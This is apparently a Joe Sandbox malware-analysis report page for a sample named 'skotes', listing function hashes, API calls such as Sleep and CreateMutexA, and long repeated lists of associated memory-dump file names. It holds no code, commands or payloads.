Snapshot File: hcaresult_2_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c717b7957a47b3027c2816409ae56e460e7288be12917358664fdc293665249f
Instruction ID: 25445d54f159e12ae986601563a6e2ac99665605a7e5967cb102eda806458f9a
Opcode Fuzzy Hash: c717b7957a47b3027c2816409ae56e460e7288be12917358664fdc293665249f
Instruction Fuzzy Hash: 523126317102409BEF0C9B7CDC99B6DBB72EF82314F648218E014973D2C73599848796

Function 00199ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0019A963
CreateMutexA.KERNELBASE(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000002.00000002.2113569282.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.2113452729.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113569282.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113723838.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113755886.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113788446.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113843566.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113860716.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113975102.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114002009.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114063976.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114084940.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114103117.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114121226.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114139760.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114156644.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114174914.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114194943.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114222017.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114239956.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114258612.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114281100.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114299063.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114320306.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114344205.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114363160.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114384671.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114405759.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114426789.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114447117.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114468097.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114488110.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114507957.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114539184.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114557161.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114578770.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114602783.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114621691.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114639135.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114656269.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114676060.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114703965.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114731044.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114751568.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114775231.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114796195.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114814104.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114891627.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114908316.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114928909.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114947676.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114970429.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114989679.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115008649.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115028924.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115048027.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115069205.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115086420.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 3f032298598801882a822f162862d1c50f8cbd4e73f2562cd6ddd9fea716138c
Instruction ID: eb84a35b6974f8b9aa82e7b836d14090147b5d37f547d8b70107d0dada29f21e
Opcode Fuzzy Hash: 3f032298598801882a822f162862d1c50f8cbd4e73f2562cd6ddd9fea716138c
Instruction Fuzzy Hash: 232131317142009BEF18AB6CEC9DB3CB762EFD2314F20431DE519976D2DB799A848792

Function 0019A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0019A963
CreateMutexA.KERNELBASE(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000002.00000002.2113569282.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.2113452729.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113569282.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113723838.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113755886.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113788446.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113843566.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113860716.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113975102.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114002009.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114063976.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114084940.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114103117.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114121226.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114139760.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114156644.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114174914.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114194943.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114222017.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114239956.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114258612.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114281100.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114299063.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114320306.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114344205.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114363160.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114384671.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114405759.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114426789.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114447117.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114468097.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114488110.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114507957.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114539184.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114557161.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114578770.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114602783.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114621691.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114639135.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114656269.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114676060.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114703965.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114731044.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114751568.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114775231.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114796195.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114814104.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114891627.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114908316.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114928909.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114947676.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114970429.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114989679.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115008649.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115028924.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115048027.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115069205.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115086420.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9c682cadaa15a16beed12dd397c50bed23fb04b9ac830e15fa2fd7c46eedc5a3
Instruction ID: 4794ccc341f87e01e47285b7fb7fc0a3a65091cd848bb03d61c2f3a36a1f932f
Opcode Fuzzy Hash: 9c682cadaa15a16beed12dd397c50bed23fb04b9ac830e15fa2fd7c46eedc5a3
Instruction Fuzzy Hash: 9E216A303552009BEF2867A8889E73DB652DF91305F74091AE208962C2CB76998482D3

Function 0019A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0019A963
CreateMutexA.KERNELBASE(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000002.00000002.2113569282.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.2113452729.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113569282.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113723838.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113755886.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113788446.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113843566.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113860716.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113975102.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114002009.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114063976.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114084940.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114103117.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114121226.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114139760.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114156644.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114174914.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114194943.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114222017.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114239956.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114258612.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114281100.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114299063.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114320306.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114344205.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114363160.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114384671.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114405759.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114426789.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114447117.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114468097.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114488110.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114507957.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114539184.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114557161.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114578770.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114602783.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114621691.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114639135.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114656269.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114676060.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114703965.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114731044.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114751568.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114775231.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114796195.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114814104.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114891627.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114908316.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114928909.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114947676.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114970429.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114989679.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115008649.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115028924.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115048027.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115069205.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115086420.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d8177a6600a66dea1d99c2e1e4938c60d4bc58598ae0936fb458d1b3ba703b4f
Instruction ID: 56d4a79af94fe8e2247c0cdabcb7b696cee6f538684d6c3c83fc777ef7590123
Opcode Fuzzy Hash: d8177a6600a66dea1d99c2e1e4938c60d4bc58598ae0936fb458d1b3ba703b4f
Instruction Fuzzy Hash: F72176317102009BEF089B68EC8973CBB22EFD2314F20431DE418977D2CB369A848392

Function 001CD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,001CA813,00000001,00000364,00000006,000000FF,?,001CEE3F,?,00000004,00000000,?,?), ref: 001CD870

Memory Dump Source

Source File: 00000002.00000002.2113569282.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.2113452729.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113569282.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113723838.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113755886.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113788446.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113843566.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113860716.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113975102.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114002009.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114063976.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114084940.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114103117.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114121226.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114139760.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114156644.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114174914.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114194943.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114222017.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114239956.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114258612.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114281100.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114299063.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114320306.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114344205.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114363160.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114384671.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114405759.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114426789.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114447117.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114468097.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114488110.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114507957.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114539184.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114557161.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114578770.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114602783.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114621691.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114639135.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114656269.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114676060.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114703965.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114731044.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114751568.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114775231.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114796195.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114814104.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114891627.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114908316.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114928909.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114947676.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114970429.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114989679.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115008649.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115028924.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115048027.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115069205.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115086420.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f7af0b4860fd2d036a1e2f379e679b290bc5c6b77bedecfdc01cea7564af10ad
Instruction ID: 81e1f1bf1652a284299b37659f1089a243ff438a3d72a0285cb98b49a82bc58a
Opcode Fuzzy Hash: f7af0b4860fd2d036a1e2f379e679b290bc5c6b77bedecfdc01cea7564af10ad
Instruction Fuzzy Hash: 7FF0273260512466EF213A76BC01F6B3759DFB17B0B2B803DFC04A7191DB20DC1086E0

Non-executed Functions

Function 00192EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00192F5F
__Mtx_unlock.LIBCPMT ref: 00192FCC
__Cnd_broadcast.LIBCPMT ref: 00192FE3
__Mtx_unlock.LIBCPMT ref: 001930F5
__Mtx_unlock.LIBCPMT ref: 0019319B

Memory Dump Source

Source File: 00000002.00000002.2113569282.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.2113452729.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
